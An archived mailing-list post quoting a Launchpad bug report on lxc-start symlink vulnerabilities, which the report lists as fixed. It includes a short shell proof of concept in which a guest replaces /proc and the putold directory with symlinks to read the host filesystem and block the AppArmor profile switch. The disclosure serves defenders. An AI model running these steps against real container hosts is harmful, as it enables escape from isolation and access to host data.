touch-packages team mailing list archive

[Serge Hallyn <1476662@xxxxxxxxxxxxxxxxxx>]

Relative paths are definately recommended over absolute paths, but the
breaking of absolute paths will be fixed.

Can anyone who's having trouble who is not on trusty please comment?
I'd like to make sure that is the only problem.

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https://bugs.launchpad.net/bugs/1476662

Title:
  lxc-start symlink vulnerabilities may allow guest to read host
  filesystem, interfere with apparmor

Status in lxc package in Ubuntu:
  Fix Released

Bug description:
  lxc-start shuffles around mounts using helper directory
  /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here)

  It then modifies mounts operating in guest root directory before
  invoking init. As it does not check if all mount points are
  directories, a malicious guest may modify its internal structure
  before shutdown (or was created using manipulated image) and then when
  started again, guest may

  * Access  the whole host root filesystem

  * Block switching from lxc-start apparmor profile to lxc-container-
  default

  
  # Real putold before pivot-root (root fs will end here)
  mkdir -p /x/lxc_putold

  # Faked putold
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold
  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc
  touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts

  
  # proc fake
  mkdir -p /x/proc
  umount /proc
  rmdir /proc
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc

  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status


  The  issue was also found during
  https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html

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